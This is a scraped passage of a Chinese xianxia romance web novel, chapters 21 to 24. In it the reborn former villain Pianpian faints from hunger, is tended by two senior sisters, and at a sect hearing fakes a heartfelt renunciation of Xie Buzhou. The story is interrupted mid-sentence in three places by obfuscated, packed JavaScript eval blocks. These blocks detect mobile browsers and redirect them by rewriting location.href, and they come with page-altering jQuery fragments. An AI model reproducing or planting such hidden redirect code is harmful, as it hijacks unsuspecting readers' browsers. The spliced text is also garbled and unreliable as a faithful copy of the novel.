l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495794|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这股灵力的冲击下,迅速变淡。 最终彻底消失不见。 解开了? 谢不舟这狗男人竟然主动解开了缚心咒? 翩翩揉着恢复自由的手腕,看着谢不舟再次匆匆离去的、直至消失在传送阵光芒中的背影,心中的不安感越来越重。 他这般急切,甚至顾不上详细交代,还解开了最直接的束缚…… 这绝不仅仅是普通的掌门召见。 肯定没什么好事。 她走到别院门口,伸手试探着触碰那无形的屏障。指尖传来一股柔和却无比坚韧的阻力,任凭她如何用力,都无法穿透分毫。 所以,她这是……被变相监禁了? 曾经的她,看到话本上的标签:强制,囚禁,金丝雀文学—— 嘴角压不住的邪笑,悄咪咪把话本加入书架。 现在的她遇到,强制,囚禁,金丝雀文学—— ……… 翩翩心里有句mmp,不知当讲不当讲。 她环顾这个除了书就是蒲团的、冰冷空旷的别院,一股悲愤涌上心头,几乎想要仰天长啸。 谢不舟!!! 你是不是忘了什么至关重要的事情? 我是个凡人!凡人是要吃饭的!!!! 她捂着开始咕咕叫的肚子,欲哭无泪。 这别院一看就是谢不舟本人清修长待的地方,估计他本人早已辟谷,餐风饮露即可。 毕竟帅哥仙女都是喝露水的。 哪里会准备什么凡人需要的食物? 翩翩无奈,只能在冰冷的房间里踱步,试图转移注意力。 她看了看书架上的玉简,可惜她如今没有灵力,根本无法读取。 打坐? 别开玩笑了,她连灵根都没有。 是要在这阴冷潮湿的地方屁股生蘑菇吗? 时间一点一滴地流逝。 饥饿感如同潮水般阵阵袭来,起初只是轻微的提醒,渐渐变得清晰而尖锐,让她头晕眼花,四肢发软。 翩翩等了又等,从日头高悬等到夕阳西斜,别院外除了风雪声,再无其他动静。 再等下去…… 翩翩悲愤地想,等谢不舟回来,看到的恐怕不是一个大活人。 而是一具活活饿死的、前琳琅城城主的尸体了! 靠! 想她堂堂一代城主,叱咤风云的反派人物,重生归来,没死在仇人手里,没死在妖兽口中,没死在阴谋诡计下,最后竟然是饿死的? 这要是传出去,简直是丢人丢到天道去了! 能被话本子笑上一万年! 翩翩饿得眼前阵阵发黑,几乎要瘫软在地。 就在她意识模糊之际,忽然听到别院外面的雪地里,传来一阵细微的、悉悉索索的声响。 有人? 翩翩心中瞬间燃起一丝希望。 她强撑起最后一点力气,手脚并用地爬到门边,扒着门缝,努力朝外望去。 只见不远处的几块覆雪石头后面,鬼鬼祟祟地躲着几个身影。 他们正探头探脑地往别院这边张望,交头接耳,指指点点。 注意到翩翩趴在门缝上看他们,那几人像是受了惊的兔子,对视一眼,竟然“噗”地几声,化作几缕轻烟,瞬间施展遁术消失得无影无踪。 翩翩:“……” 我……我只是想问问,能不能给点吃的啊……哪怕给口水喝也行啊…… 她在内心发出无声的哀嚎。 希望的小火苗刚燃起就被无情掐灭。 但奇怪的是,没过一小会儿,别院外面又传来了动静。 这次是另外几个生面孔,同样躲在石头后面,同样好奇地朝她这边窥探。 来来回回,好几拨人。 翩翩从一开始的期盼,到后来的无语,再到最后的麻木。 她瘫坐在门后,有气无力地翻了个白眼。 哦。 原来不是来送温暖的。 是大老远跑来……参观我的。 参观可以啊,但为什么只白嫖,不投喂呢? 饥饿和眩晕感再次猛烈袭来。 翩翩想要再次张口,哪怕是对着空气呼喊一下“救命”或者“给口饭吃”。 然而,极度虚弱让她眼前猛地一黑。 “咚”地一声闷响。 她再也支撑不住,脑袋重重地磕在冰冷的门框上,身体软软地滑倒在地,失去了意识。 在彻底陷入黑暗之前,她模糊的耳畔,似乎隐约捕捉到一个带着几分焦急、几分气急败坏的声音: “完了完了!这人怎么还突然晕倒了?” “七师弟回来不会以为是我干的,把这笔账算在我头上吧?” 声音渐渐靠近,与无边的黑暗一同,将她吞噬。 22. 第二十二章 意识如同沉溺在深海的鱼,挣扎着向上浮起。 翩翩感觉自己仿佛睡了很久,久到骨头都有些发软。 最先恢复的是听觉,因为耳边传来叽叽喳喳、刻意压低却难掩兴奋的交谈声。 “师姐师姐!她眼皮动了!好像要醒啦!” “师妹,莫要如此激动,小声些,别吓着她。” 声音清脆,带着少女的活泼与另一人的沉稳。 翩翩费力地掀开眼皮,视线从模糊逐渐清晰。 首先映入眼帘的,不再是谢不舟那除了书就是蒲团的别院。 而是雕刻着祥云纹路、散发着檀木香气的床顶幔帐。 身下是柔软舒适的被褥,带着阳光晒过后的暖意。 她动了动,发现自己躺在床上,身处一间陈设雅致的房间内。 窗棂半开,窗外可见摇曳的翠竹,阳光透过缝隙洒下斑驳的光点。 更让她惊异的是,之前那几乎要将她吞噬的饥饿感消失了。 胃里暖融融的,像是被什么温和的药力滋养着,四肢虽然还有些乏力,但那种头晕眼花、濒临死亡的感觉已荡然无存。 这是哪里? 还没等她想明白,一张放大的、圆乎乎的脸蛋猛地凑到了她眼前,几乎要贴到她的鼻尖,那双又大又亮的眼睛里充满了毫不掩饰的好奇和探究。 “你醒啦?” 那圆脸少女盯着她,眨了眨眼,见她只是愣愣地看着自己,没有立刻回答,便疑惑地歪了歪头,转向旁边。 “师姐,这个凡人不会是个哑巴吧?怎么不会说话?” 翩翩:“……” 姑娘,你倒是给我个开口的机会啊! 她张了张嘴,试图发声,却只觉得喉咙干涩发紧,如同被砂纸磨过,只发出一点嘶哑的气音。 旁边伸过来一只白皙纤长的手,递过一杯温热的清茶。 端茶的女子年纪稍长,气质清冷如月,穿着一身不染尘埃的白衣,眉眼间带着一种疏离的温柔。 “姑娘,先喝点水润润喉。” 她的声音也如同月色般清泠悦耳。 翩翩也顾不得客气,接过茶杯,几乎是狼吞虎咽地灌了下去。 喝得太急,不免呛咳起来,咳得眼角都沁出了生理性的泪水。 “哎呀,你慢点喝呀!又没人跟你抢!” 那圆脸少女见状,连忙拍着她的背,语气带着点嗔怪,动作却不算轻柔,拍得翩翩又是一阵咳。 那圆脸少女看着翩翩依旧带着迷茫和疑惑的眼神,拍了拍自己的脑门,恍然道:“哦!忘了自我介绍啦。我叫云上月,是谢不舟那臭小子的六师姐。” 她说着,还挺了挺胸脯,似乎对这个身份颇为自豪。 云上月? 翩翩捧着空茶杯,有些呆滞地看着眼前这个脸蛋圆圆、眼睛大大、头上还绑着两个俏皮发髻,活脱脱像个年画娃娃般的少女。 这就是陈澜小师兄经常挂在嘴边、崇拜得五体投地的那位符道天才? 那个符术厉害到可以凭空画符、瞬息之间就能炸平一整座城池的玉宸宫煞神?? 翩翩感觉自己的认知受到了不小的冲击。 云上月见她还是呆呆地看着自己,尤其是目光在她略显娇小的身形上多停留了一瞬,顿时像是被踩到了尾巴,气鼓鼓地叉腰道: “喂!你别看我这样!我们师兄弟妹七个,可都是严格按照拜入师门的先后顺序排的。我可是实打实排在那小子前面的正经师姐呢!” 她那副急于证明自己辈分的模样,配上那张娃娃脸,实在没什么威慑力,反而更显娇憨。 旁边的白衣女子无奈地摇了摇头,声音温和地打断她:“师妹,人家姑娘显然不是在疑惑这个。” 她转向翩翩,微微颔首,算是正式的见礼,“姑娘好,我叫应不悔,在师门中行三,她们都叫我三师姐。” 应不悔。 翩翩捧着茶杯的手几不可查地紧了紧。 这两个名字,她前世何止是见过,简直是如雷贯耳,刻骨铭心。 云上月,符道鬼才,一手符箓出神入化,挥手间雷霆万钧,是正道联盟中绝对的远程输出战力。 前世没少用她那五花八门的符术核弹招呼过她这位灾星。 应不悔,看似清冷出尘,不食人间烟火,实则剑术超绝,心思缜密,是玉宸宫掌门的左膀右臂。 前世正邪大战最惨烈之时,翩翩曾亲眼见过这位三师姐在尸山血海中杀红了眼的模样。 白衣染血,剑下亡魂无数,与眼前这个递茶给她、气质温婉的女子简直判若两人。 前世是见面就你死我活的生死大敌,今生却在这般…… 堪称和谐甚至有些温馨的场景下重逢。 这巨大的反差,让翩翩一时间心情复杂,不知该作何表情。 云上月性格活泼跳脱,应不悔则沉稳内敛。 此刻,云上月正围着翩翩的床榻转来转去,一双大眼睛滴溜溜地在她身上打量,仿佛在观赏什么稀世奇珍,恨不得捏个决来仔细研究。 “本来呢,大师兄、二师兄、四师兄他们也都想过来看看你的,” 云上月笑嘻嘻地说,带着点小得意,“不过嘛,毕竟我们都是女孩子,他们一群大老爷们挤进来不太合适,所以就被我统统赶跑啦!” 她凑近翩翩,神秘兮兮地压低声音:“喂,你不会真不知道外面因为你,都闹成什么样了吧?” 翩翩眨了眨眼,努力让自己看起来更加无辜和茫然。 轻轻摇了摇头。 她是真的有点懵。 从饿晕过去到醒来换了个地方,中间发生了什么。 她一无所知。 云上月看她这副样子,像是找到了绝佳的倾诉对象,立刻来了精神,双手一拍:“好吧好吧!看在你这么可怜的份上,我就大发慈悲地告诉你吧!” 她故意清了清嗓子,摆出一副说书人的架势,语气夸张:“你不知道啊!自从七师弟那天把你带回他的青崖岛,掌门、各位长老,还有上上下下所有关注七师弟的亲传弟子们,可都要疯——掉——啦!” 翩翩嘴角微抽:“……没那么夸张吧?” “哪里夸张了?!” 云上月瞪圆了眼睛,仿佛翩翩说了什么大逆不道的话,“掌门和长老们最最宝贝七师弟了!他可是我们玉宸宫未来的希望,是扛鼎之人!” “凡是一切跟他有关的事情,尤其是这种……嗯,破天荒头一遭的私藏女子事件,那绝对是打起十二万分的精神,严密关注!” 她说着,脸上露出一种混合了幸灾乐祸和看热闹不嫌事大的坏笑,凑得更近,几乎要贴着翩翩的耳朵:“对了,你知道吗?你猜猜,我们那位风光霁月、冷面无私的七师弟,现在人在哪里?” “师妹,慎言。” 应不悔微微蹙眉,出声制止,“七师弟行事,自有他的道理,我们不便妄加揣测。” “道理?” 云上月像是听到了什么天大的笑话,声音都拔高了几分,指着床上还有些虚弱的翩翩。 “他的道理就是,差点把人给活活饿死在自己洞府里?!这算哪门子的道理?!” 翩翩:“……” 应不悔:“……” 这姐妹俩一个唱红脸一个唱白脸,信息没透露多少,倒是把翩翩绕得更晕了。 她揉了揉依旧有些发胀的额角,无奈地开口,声音因为喝了水恢复了些清亮,但依旧带着虚弱:“那个……两位师姐,要不你们还是直接告诉我,到底发生什么事了吧?我怎么会在这里?” “谢师兄他……又怎么了?” 云上月就等着她这句话呢,立刻眉飞色舞起来,脸上带着“你可问对人了”的表情。 “我跟你说啊——” 她拖长了语调,开始声情并茂地讲述,“七师兄他,因为你——被师父关禁闭啦!” ??? 关禁闭? 翩翩愣住了,差点以为自己饿出了幻听。 谢不舟?那个战力天花板、掌门长老心头肉、走路都带风的剑首亲传? 因为她……被关禁闭了? 这都哪跟哪啊?! “他……怎么就因为我被关禁闭了?” 翩翩感觉自己的脑子有点不够用。 “合着你真不知道啊!” 云上月一拍大腿,更加来劲了,开始绘声绘色地描述起当时的场景—— 什么七师弟如何被紧急召到掌门那里,如何面对掌门和诸位长老的连番诘问。 如何无论怎么逼问,都紧咬牙关,不肯透露他和那位跟他关系密切的杂役弟子的情况。 最后,云上月甚至夸张地模仿起自家师父是如何气得吹胡子瞪眼,浑身灵力激荡,差点把整个大殿都给震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495795|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得簌簌发抖…… 这口才,这表现力,不去天桥底下摆个摊子说书,真是屈才了! 翩翩听得嘴角抽搐,内心疯狂吐槽。 尤其是听到云上月用那种感动天地的语气,描述她的七师弟是如何为了她这个红颜祸水据理力争、不惜触怒师门。 俨然一副痴情种子为爱对抗全宗门的戏码时—— 翩翩只觉得一阵恶寒,鸡皮疙瘩都要起来了。 假,太假了。 痴情? 谢不舟? 为了她? 开什么九天十地寰宇无极的玩笑! 翩翩在心里冷笑。 再说—— 谢不舟不敢说、也不敢把她交出去,绝对不是因为什么狗屁恋爱脑。 其一,他怕。 谢不舟怕说出前世那些匪夷所思的经历,会被掌门和长老们当作是心魔入体。 毕竟在话本中,翩翩看了那么多机智过人的重生爽文主角。 一个个逆袭打脸,漏算无疑。 却唯独不敢把自己重生的秘密广为告知。 为的是什么? 为的是不被当作神经病啊! 尤其还是谢不舟这种剑道天才,稍有不慎,那就不是重生归来拯救世间的救世主了。 而是被夺舍的、被人人践踏的邪魔。 其二,白日的谢不舟那人虽然冷漠得不近人情,缺乏正常人类的感情,但翩翩毕竟行走江湖,阅人无数。 她看得出,谢不舟骨子里自有一套近乎偏执的行为准则。 只要谢不舟对她的身份和目的还存有疑虑。 只要没有百分之百的证据证明她十恶不赦,那么,即便只有万分之一她是无辜的可能,他都不会轻易下杀手。 这是一种基于他自身强大实力和绝对自信衍生出的——— 近乎傲慢的公正。 所以,他选择硬扛,选择沉默,甚至不惜自己被罚。 这哪里是痴情? 这分明是权衡利弊之后,基于自身原则和某种或许连他自己都没完全厘清的探究欲,所做出的最符合他逻辑的决定。 翩翩在这边近乎冷酷地分析着谢不舟的动机。 她脸上自然没什么感激涕零、恨不得跟爱人同生共死的悲痛表情。 反而自带一种看仇人好戏的淡漠。 云上月看着她这副反应,啧啧称奇,绕着她又转了两圈,像是发现了什么新玩意:“奇了怪了!我本以为你听到七师弟为你受了这么大委屈,怎么着也得心痛难当、懊悔不已,甚至可能挣扎着要下床去找掌门陈情呢!没想到你竟然……” 她用力拍了拍翩翩的肩膀,“不愧是能让我们七师弟破例的人!” “够冷静!够特别!” 云上月向旁边伸出手,理直气壮地索要: “师姐,你赌输啦!” 应不悔在一旁无奈地扶额,轻轻叹了口气:“好好,我认输。” 翩翩这才反应过来,有些无语地看着她们:“所以……你们俩特意来看我,就是为了……一个赌约?” 你们这些亲传弟子,是不是修炼把脑子修出什么毛病了?! 闲得慌吗?! 就在翩翩内心疯狂吐槽,房间内气氛一时有些诡异的安静时—— 唰! 一道金光闪过,伴随着灵气波动,一个身影如同鬼魅,悄无声息地出现在了房间内。 来人穿着一身金色锦袍,面容俊朗,嘴角噙着标标准准的微笑,眼神却带着几分精明的打量,直接落在了床上的翩翩身上。 “三师姐,六师妹。” 他合拢折扇,对着应不悔和云上月微微颔首,算是打过招呼。 “哎!五师兄!” 云上月立刻叉腰,不满地嚷道,“不是说好了吗?男弟子不能随便进女孩子的房间!你怎么说话不算话!” “哗”的一声,折扇再次被打开,轻轻扇动。 那位被称作“五师兄”的金袍男子脸上堆起亲和力十足的笑容,眼神却依旧锐利。 “哟,六师妹这可误会我了。”他笑吟吟地说道,目光始终没有离开翩翩。 “师兄我此番前来,乃是奉了师命。” 他顿了顿,语气带着一种不容置疑的意味。 “师父有令,命我即刻带这位姑娘——” “前去问话。” 23. 第二十三章 通往玉宸宫核心区域主殿的道路,云雾缭绕,仙鹤清唳。 翩翩跟在金袍五师兄身后,云上月和应不悔则落后几步,神色间带着几分不易察觉的担忧。 玉宸宫掌门,玄胤真人。 这个名字在修仙界如雷贯耳。 修为已达大乘期,据说只差那临门一脚,便可霞举飞升,成就仙道。 前世,翩翩作为灾星荧惑,与他的弟子们打得是天昏地暗、你死我活,交手次数多到数不清。 然而,对于这位传说中的掌门本人,她却连一面都未曾见过。 只能从他那些个顶个天赋卓绝、修为深厚、性格还都……颇具特色的亲传弟子身上,勉强推断—— 能教出这么一群人才的师父,想必是个极其严肃、古板、不苟言笑、规矩大过天的老古董吧? “那个……那个翩翩啊……” 云上月蹭到她身边,声音不像之前那般清脆响亮,反而有些支支吾吾,眼神飘忽。 “嗯?” 翩翩侧头看她。 “你,你看啊……” 云上月努力组织着语言,手指绞着衣带,“七师弟他呢……虽然平时老是拽着张脸,活像别人欠他八百上品灵石没还,看起来是有点……呃,不通人情,其实,其实……” 其实他就是真的不通人情吧? 翩翩在心里默默替她接上了后半句。 云上月“其实”了半天,那张伶俐的小嘴像是被浆糊粘住了,愣是没“其实”出谢不舟半点能称得上是优点或者人情味的地方来,最后只能干巴巴地憋出一句:“……其实他剑法还是很厉害的!” 翩翩:“……” 谢谢,这点我比谁都清楚,毕竟挨过不少砍。 她有点摸不着头脑。 云上月这前言不搭后语的,到底想表达什么? 直到一行人即将踏入那座巍峨肃穆、灵气逼人的主殿大门前,云上月趁前面五师兄不注意,猛地伸手。 偷偷扯住了翩翩的衣角。 同时,一道细微却清晰的神识传音,直接响彻在翩翩的脑海深处。 带着云上月特有的、急吼吼又带着恳求的语气: 【翩翩!翩翩你听我说!】 【七师弟他……他从小就被师父带在身边亲自教导,除了练剑就是修炼,根本没怎么接触过外人,更不懂怎么跟人……尤其是女孩子相处!所以他才会是那副死样子!】 【但他心眼不坏的!真的是个好人!你……你进去之后,尽量跟师父说些好话,求求情,让师父别关他禁闭了!】 【那地方又冷又黑,连个说话的人都没有,关久了会出心魔的!求求你啦!】 原来是这样。 原来是…… 这样。 翩翩恍然。 难怪这一路上云上月表现得那么奇怪,又是说书又是打赌,拐弯抹角的。 原来最终目的在这里—— 是想让她这个当事人进去帮谢不舟求情。 她无奈地在心里摇了摇头。 你们这些师兄妹啊…… 深吸一口气,她迈步踏入了玉宸宫的主殿。 殿内空间极其开阔,穹顶高远,仿佛能容纳星辰。 她的目光第一时间就落在了大殿正中心,那高高在上的主位。 一位身着玄色道袍,面容清癯,长须垂胸的老者端坐其上。 他并未刻意散发气势,但仅仅是坐在那里,就仿佛与整个逶迤大殿融为一体,许是因为常年爱笑,他眼角有着明显的笑纹,倒显出了几分他的真实年纪。 这就是玄胤尊者? 看起来……似乎没有想象中那么古板凶恶? 翩翩暗自思忖。 然而,当她的视线扫过两旁时,心情就没那么美妙了。 右手边下首第一位,坐着的正是她前世今生都无比讨厌的那个代理掌门—— 张志峰。 名字基础,做的事可一点都不基础。 此人道貌岸然,最擅长搬弄是非,打压异己。 前世她恶名昭著,心狠手辣的谣言多数都仰仗于他。 其余座位上,则端坐着数位气息沉凝、目光锐利的长老。 个个面色严肃,古板得如同庙里供奉的罗汉雕像。 而在这群大佬的包围圈中心,大殿光滑如镜的地板上,赫然跪着一个熟悉的身影—— 哦吼, 谢不舟。 他依旧穿着那身纤尘不染的白衣,背脊挺得笔直,如同雪地里不屈的青松。 低垂着眼睫,看不清神情,但从那紧绷的下颌线能看出。 他此刻的心情绝对称不上愉快。 呵,这场面…… 翩翩心里冷笑。 玉宸宫看来是真的很重视他们这位宝贝弟子啊。 召集众位长老,却未曾通告整个宗门。 这不像是普通问话。 倒像是三堂会审,重点审的不是这个宝贝天才谢不舟,而是这棵好白菜是怎么被她这头猪给拱了的。 翩翩刚走到殿前,还未按照杂役弟子的规矩行礼,一股庞大如山岳般的威压如同无形的巨手,猛地施加在她身上。 “噗通!” 膝盖不受控制地一软。 翩翩毫无反抗之力地被这股力量强按着,双膝重重磕在了坚硬的地面上。 疼痛让她瞬间蹙起了眉头。 紧接着,那个令人厌恶的代理掌门张志峰,用他那特有的、带着虚伪严肃的怪异腔调,率先发难: “区区一杂役弟子,不知安分守己,恪守本分,反倒妄图攀附掌门亲传,搅乱宗门清净!” “你,该当何罪?!” 好家伙! 一上来就扣帽子! 想把所有过错和责任都推到她一个人身上,把她定性为勾引正道之光、不知天高地厚的狐媚子。 如果是前世这时候的翩翩, 她会耸动肩膀,然后捂着嘴偷笑。 毕竟一个杂役弟子,一个万众瞩目的天才剑修。 后者会被骂眼瞎。 而前者—— 会被众多弟子围观,还得绞尽脑汁去想“这女人到底有什么本事?”。 属实她得了名还有了利。 但对于现在这个被谢不舟砍了还要和他传绯闻的翩翩, 辱她了,真的。 被杀了一次,结果重生了还要被安排美美爱上自己仇人—— 她是皮痒痒,还是纯犯贱啊? 翩翩在心里冷笑连连,面上却适时地流露出几分惶恐和委屈,低垂着头,没有立刻回答。 她这不说话,更像是默认了一般。 几位早就想在掌门面前表忠心的长老,也纷纷开口,你一言我一语地数落起来翩翩。 “不错!谢师侄乃我玉宸宫未来希望,心无旁骛方是正道!岂容你这等身份不明、资质低劣之人接近蛊惑?” “依老夫看,此女留不得!应当逐出宗门,以正视听!” “谢师侄定是一时被蒙蔽!只要处置了这祸源,师侄自会迷途知返!” ……… 句句不离她的杂役身份,字字指向她的居心叵测。 听起来根本不像是来找她问话求证,倒像是已经给她定了罪,现在只是走个过场,逼她认罪,然后顺理成章地把她这个麻烦处理掉。 好让谢不舟浪子回头,继续做他那冰清玉洁、不染尘埃的正道之光。 翩翩心底那股邪火也蹭蹭往上冒。 就在几位长老义愤填膺,恨不得立刻将翩翩拖出去处置了的时候,端坐主位的玄胤尊者终于缓缓开口了。 “好了。” 声音不高,却带着一种奇异的穿透力,瞬间压下了所有的嘈杂。 众人的目光齐齐聚焦于掌门。 玄胤真人的目光落在跪在地上、显得格外无助的翩翩身上,语气平和:“丫头,他们说了这么多,你可有什么要为自己辩解的?” 翩翩闻言,脸上适时地露出一丝恰到好处的慌乱、羞涩,又带着点破釜沉舟的勇气。 她目光故做情意绵绵地瞟了一眼旁边跪着一言不发、浑身散发着低气压的谢不舟。 谢师兄,对不住啦。 她默默在心里道了个毫无诚意的歉。 谁让你先不分青红皂白就想囚禁我、想杀我呢? 这就叫一报还一报。 于是,翩翩开始了她的表演。 她先是微微红了眼眶,声音带着一丝颤抖,却又努力保持清晰,开口道: “回禀掌门,诸位长老……弟子翩翩,确实……确实只是一名普普通通的杂役弟子。” 翩翩顿了顿,仿佛在回忆什么美好的事情,脸上泛起一丝可疑的红晕:“弟子与……与谢师兄,是在此次鲛人镇的任务中,偶然……相识的。” “在……在那次与海怪凶险万分的战斗中,谢师兄他……他英姿勃发,剑法超群,不顾自身安危保护同门……” “弟子,弟子一时……情难自禁,便……便对他表露了心意……” 她说到这里,声音越来越小,头也越低越下。 一副小女儿家的娇羞姿态,还偷偷抬眼飞快地瞄了一下谢不舟。 那眼神,缠绵悱恻,欲语还休。 “没想到……” 她像是鼓足了天大的勇气,声音陡然提高了一点,带着难以置信的喜悦,“不舟他……他,他也说……心仪于我。” “噗——” 旁边隐隐传来云上月极力压抑的、像是被口水呛到的声音。 应不悔的嘴角似乎也微不可查地抽动了一下。 而跪在地上的谢不舟,猛地抬起了头。 那双总是古井无波的眸子里,第一次清晰地映出了名为“难以置信”和“你在胡说八道什么”的情绪。 死死地盯住了翩翩。 几位长老更是如同被踩了尾巴的猫,瞬间炸毛: “荒唐!简直荒唐!” “满口胡言!谢师侄怎会……怎会……” “此女诡辩!掌门明鉴,切莫听信她一面之词!” 玄胤真人却抬手,再次制止了骚动。 他脸上看不出什么表情,但眼神里似乎……掠过一丝极淡的兴味? 他示意翩翩:“继续说。” 翩翩心中一定,戏更足了。她脸上露出甜蜜又夹杂着不安的神色:“在……在一起之后,弟子一直胆战心惊,自知身份低微,配不上谢师兄。” “但不舟他……他总是安慰我,说无妨,有他在……” 突然,她话锋突然一转。 脸上的羞涩甜蜜瞬间被一种巨大的觉悟和痛苦所取代,猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495796|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地挺直了之前一直微微佝偻的腰杆。 脸上露出一种近乎悲壮的、舍生取义般的正气! 这突如其来的转变,把云上月和应不悔都看得一愣。 “但是!这一路走来,弟子目睹谢师兄为宗门、为天下苍生殚精竭虑,修为高深,肩负重任!” 翩翩的声音变得慷慨激昂,掷地有声,“弟子越发觉得,弟子有罪!弟子大错特错!” 她目光灼灼地看向玄胤真人,仿佛在陈述什么至高无上的真理:“谢师兄乃是正道之光!是玉宸宫的未来!是人界的希望!” “他身负拯救苍生、匡扶正道之重任,决不该……决不该把宝贵的时间和心思,浪费在儿女情长这等小事上!” 她说得情真意切,痛心疾首:“他有更重要、更伟大的事情要做!有千千万万的人,比弟子更需要他!” “弟子……不能如此自私!” 翩翩深吸一口气,脸上露出一种混合了无限眷恋与决绝割舍的复杂表情,目光恋恋不舍地从谢不舟身上扫过,最终坚定地看向玄胤: “弟子只是一介微末杂役,弟子清楚自己的身份,明白自己的位置!所以——” 她顿了顿,仿佛用尽了全身的力气,一字一句,清晰无比地说道: “弟子恳请掌门师兄!允许弟子离开谢师兄!” 她刻意将称呼从亲昵的“不舟”换回了疏远的“谢师兄”。 “如果弟子的存在,会耽误他的前途,会影响他的道心,会成为他的污点……” 她的声音带着一丝哽咽,却又无比坚决: “弟子宁愿……从此与他,死生——不复相见!” 一番陈词说完,整个大殿陷入了死一般的寂静。 云上月和应不悔先是目瞪口呆,随即,云上月眼睛里都快冒出小星星了,要不是场合不对,简直想当场给翩翩鼓掌叫好! 谢不舟则是彻底僵住了。 他跪在那里,身体绷得像一块铁,猛地扭头看向翩翩,嘴唇动了动,似乎想说什么,却发现自己根本无从辩起,也无法解释。 那种百口莫辩、有苦难言的憋屈感。 让他那张万年冰山脸上,第一次出现了近乎扭曲的神情。 “你……你……” 他你了半天,硬是没能说出一句完整的话来。 翩翩还是第一次看到他如此生动且吃瘪的模样,心里简直乐开了花,还得拼命掐着自己的大腿,用疼痛来压制几乎要冲破喉咙的笑声。 总算! 总算能找个合适的理由,摆脱掉这个整天想着审问她、杀她的冰块脸了! 自由! 她期待已久的自由! 她来了! “好!好!好样的!” 一连三个“好”字,打破了殿内的寂静。端坐主位的玄胤真人,竟然抚掌大笑起来,脸上的严肃荡然无存,看向翩翩的目光充满了……赞赏? “深明大义!顾全大局!不愧是我玉宸宫弟子!能有如此觉悟,实属难得!” 玄胤真人笑得颇为开怀,随即,他目光转向跪在地上、脸色比锅底还黑的谢不舟,皮笑肉不笑地瞥了他一眼,语气带着明显的揶揄: “不舟啊不舟,你瞧瞧!你瞧瞧人家这觉悟!你这孩子,平日里就知道练剑,人情世故一窍不通!在这等大是大非面前,你反倒不如一个杂役弟子看得透彻!你呀,真该好好跟这丫头学学!” 谢不舟:“……” 他周身的气压更低了,仿佛下一刻就能凝结出冰碴子来。 如果可以,他大概很想立刻拔剑,把旁边那个正在努力憋笑、肩膀微颤的深明大义的丫头给劈了。 “如此甚好。” 玄胤真人满意地点点头,对翩翩说道,“丫头,你既然有如此见识,本座便准了你的请求。” 他话锋一转,显然是想打个巴掌再给颗甜枣,顺便彻底绝了后续的可能:“你如此清醒明理,只做个杂役弟子,实在是埋没了。既然如此,本座特许你,即日起,晋升为外门弟子。” “虽然你无法修炼,但外门藏书颇丰,你多读些圣贤典籍,明心见性,正合你如今的心境。” 从杂役到外门,虽然依旧是最底层,但身份上已是天壤之别,活动范围、资源待遇都会好上许多。 翩翩几乎是没有任何犹豫,立刻叩首,声音带着感激涕零:“弟子翩翩,谢掌门恩典!” 只要能离开谢不舟的视线。 别说外门弟子,就是让她去扫茅厕她都愿意。 “但是,” 玄胤真人脸上的笑容扩大了几分,眼神却带着不容置疑的锐利,牢牢锁定翩翩,“你也要答应本座一件事。” “掌门请讲。” “从今往后,无论发生何事,除非宗门征召或有本座特许,你,绝不能再与不舟相见。” 他顿了顿,加重了语气。 “你可能做到?” 翩翩抬起头,迎上掌门那看似温和实则洞察一切的目光,没有丝毫退缩,斩钉截铁,声音清晰而坚定: “弟子做得到!” 其实,她根本巴不得。 话一出口,带着一股决绝的意味,在大殿中回荡。 谢不舟猛地攥紧了拳,指节泛白。 玄胤真人深深地看着她,最终,缓缓颔首。 “善。” 24. 第二十四章 踏出那庄严肃穆、气压低沉的主殿,仿佛跨过了一道无形的界限。 门外天光正好,云海舒卷,带着草木清香的微风拂面而来,翩翩只觉得胸中一口积郁许久的浊气终于长长地、畅快地吐了出来。 神清气爽! 前所未有的神清气爽! 她几乎要忍不住哼起小曲,脚步都轻快得快要飘起来。 一位奉命带她去更换身份玉玦的内门师兄走在前面,感受到身后那几乎要溢出来的欢快气息,不由得狐疑地回头看了她一眼。 刚刚在大殿里还一副痛彻心扉、为爱牺牲的悲壮模样。 怎么一出来就跟换了个人似的? 翩翩接收到他探究的目光,立刻演技上线,嘴角那抹控制不住的笑意瞬间耷拉下去,眉眼间重新染上恰到好处的惆怅与落寞。 甚至还幽幽地叹了口气。 仿佛强忍着巨大的悲伤,低眉顺眼地跟在他身后。 那变脸速度之快,让内门师兄都愣了一下,随即摇了摇头。 大概觉得这姑娘是伤心过度,情绪有些不稳,便不再多想。 通过传送阵,很快便来到了外岛区域。 这里的灵气虽然远不如内岛浓郁,建筑也相对朴素,但比起杂役弟子聚居的那些拥挤、嘈杂的院落,已然是天上地下。 翩翩熟门熟路地走向杂役弟子的管事处—— 那个她前世今生都没留下什么好印象的地方。 果然,一进门,就看到了那张熟悉的面孔—— 掌管杂役弟子事务的外门师兄。 此人生得干瘦,一双三角眼总是耷拉着,一把年纪修为却仍停滞不前,故而还只是个外门弟子。 但仗着有几分资历,此人看旁人永远带着三分挑剔七分不屑,最是捧高踩低,前世没少欺负她这个无灵根的废物。 